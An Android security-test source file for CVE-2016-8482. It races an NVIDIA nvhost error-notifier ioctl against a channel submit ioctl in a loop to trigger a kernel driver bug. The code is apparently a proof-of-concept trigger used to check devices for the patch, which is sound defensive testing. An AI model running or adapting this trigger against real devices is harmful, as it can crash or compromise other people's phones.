Home | History | Annotate | Download | only in CVE-2016-8482
      1 /*
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #define _GNU_SOURCE
     17 #include <string.h>
     18 #include <stdio.h>
     19 #include <stdlib.h>
     20 #include <pthread.h>
     21 #include <sys/ioctl.h>
     22 #include <sys/mman.h>
     23 #include <errno.h>
     24 #include <sys/stat.h>
     25 #include <fcntl.h>
     26 #include <sched.h>
     27 #include <sys/types.h>
     28 #include <signal.h>
     29 #include <unistd.h>
     30 // for syscall
     31 #include <sys/syscall.h>
     32 // for futex
     33 #include <linux/futex.h>
     34 #include <sys/time.h>
     35 
     36 #define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
     37 #define ERR(fmt, ...)   printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
     38 #define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
     39 
     40 #define NVMAP_IOC_MAGIC 'N'
     41 struct nvmap_create_handle {
     42 	union {
     43 		__u32 id;	/* FromId */
     44 		__u32 size;	/* CreateHandle */
     45 		__s32 fd;	/* DmaBufFd or FromFd */
     46 	};
     47 	__u32 handle;		/* returns nvmap handle */
     48 };
     49 #define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
     50 
     51 #define NVHOST_IOCTL_MAGIC 'H'
     52 struct nvhost_set_error_notifier {
     53 	__u64 offset;
     54 	__u64 size;
     55 	__u32 mem;
     56 	__u32 padding;
     57 };
     58 #define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER  \
     59 	_IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier)
     60 
     61 struct nvmap_alloc_handle {
     62 	__u32 handle;		/* nvmap handle */
     63 	__u32 heap_mask;	/* heaps to allocate from */
     64 	__u32 flags;		/* wb/wc/uc/iwb etc. */
     65 	__u32 align;		/* min alignment necessary */
     66 };
     67 #define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
     68 
     69 static int set_affinity(int num)
     70 {
     71 	int ret = 0;
     72 	cpu_set_t mask;
     73 	CPU_ZERO(&mask);
     74 	CPU_SET(num, &mask);
     75 	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
     76 	if(ret == -1){
     77 		printf("[-] set affinity failed: [%d]-%d\n", errno, errno);
     78 	}
     79 	return ret;
     80 }
     81 
     82 struct nvhost_submit_args {
     83 	__u32 submit_version;
     84 	__u32 num_syncpt_incrs;
     85 	__u32 num_cmdbufs;
     86 	__u32 num_relocs;
     87 	__u32 num_waitchks;
     88 	__u32 timeout;
     89 	__u32 flags;
     90 	__u32 fence;		/* Return value */
     91 	__u64 syncpt_incrs;
     92 	__u64 cmdbuf_exts;
     93 
     94 	__u64 pad[3];		/* future expansion */
     95 
     96 	__u64 cmdbufs;
     97 	__u64 relocs;
     98 	__u64 reloc_shifts;
     99 	__u64 waitchks;
    100 	__u64 waitbases;
    101 	__u64 class_ids;
    102 	__u64 fences;
    103 };
    104 #define NVHOST_IOCTL_CHANNEL_SUBMIT	\
    105 	_IOWR(NVHOST_IOCTL_MAGIC, 26, struct nvhost_submit_args)
    106 
    107 struct nvhost_syncpt_incr {
    108 	__u32 syncpt_id;
    109 	__u32 syncpt_incrs;
    110 };
    111 
    112 #define CLOSE_THREAD_NUM	1
    113 #define TRY_TIMES		2
    114 #define NVMAPDEV	"/dev/nvmap"
    115 #define VICDEV		"/dev/nvhost-vic"
    116 #define SYNC_NUM	1
    117 struct nvhost_set_error_notifier err1 = { 0 }, err2 = { 0 };
    118 pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
    119 int nvmap, vic;
    120 volatile int attack;
    121 void* close_thread(void* no_use)
    122 {
    123 	int ret;
    124 	set_affinity(1);
    125 
    126 	while(attack){
    127 		ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER, &err1);
    128 	}
    129 
    130 	return NULL;
    131 }
    132 
    133 int main()
    134 {
    135 	int i, j, ret;
    136 	int dma1, dma2;
    137 	struct nvmap_create_handle args = {
    138 		.size = PAGE_SIZE
    139 	};
    140 	struct nvmap_alloc_handle alloc = {
    141 		.heap_mask = 0xFFFFFFFF
    142 	};
    143 
    144 	struct nvhost_syncpt_incr incr[SYNC_NUM];
    145 
    146 	struct nvhost_submit_args submit = {
    147 		.num_syncpt_incrs = SYNC_NUM,
    148 		.syncpt_incrs = (intptr_t)incr,
    149 		.timeout = 1,
    150 		//.class_ids = (intptr_t)&ret
    151 	};
    152 
    153 	memset(incr, 0, sizeof(incr));
    154 	incr[0].syncpt_id = 6;
    155 
    156 	/* bind_cpu */
    157 	set_affinity(0);
    158 
    159 	nvmap = open(NVMAPDEV, O_RDONLY);
    160 	if(nvmap == -1)
    161 		ERR("[-] open %s failed", NVMAPDEV);
    162 	else
    163 		LOG("[+] open %s OK", NVMAPDEV);
    164 
    165 	vic = open(VICDEV, O_RDONLY);
    166 	if(vic == -1)
    167 		ERR("[-] open %s failed", VICDEV);
    168 	else
    169 		LOG("[+] open %s OK", VICDEV);
    170 
    171 	// prepare
    172 	ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
    173 	if(ret)
    174 		ERR("[-] ioctl NVMAP_IOC_CREATE failed");
    175 	else
    176 		LOG("[+] NVMAP_IOC_CREATE succeeded, fd = %d", args.handle);
    177 
    178 	dma1 = args.handle;
    179 	err1.mem = dma1;
    180 	alloc.handle = dma1;
    181 
    182 	ret = ioctl(nvmap, NVMAP_IOC_ALLOC, &alloc);
    183 	if(ret)
    184 		ERR("[-] ioctl NVMAP_IOC_ALLOC failed");
    185 	else
    186 		LOG("[+] NVMAP_IOC_ALLOC succeeded");
    187 
    188 	/* create close thread */
    189 	attack = 1;
    190 	for(i = 0; i < CLOSE_THREAD_NUM; i++){
    191 		ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
    192 	}
    193 	LOG("[+] running...");
    194 	while(1) {
    195 		ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SUBMIT, &submit);
    196 	}
    197 
    198 	LOG("[-] passed :(");
    199 	attack = 0;
    200 	for(i = 0; i < CLOSE_THREAD_NUM; i++) {
    201 		pthread_join(close_thread_id[i], NULL);
    202 	}
    203 
    204 	return 0;
    205 }
    206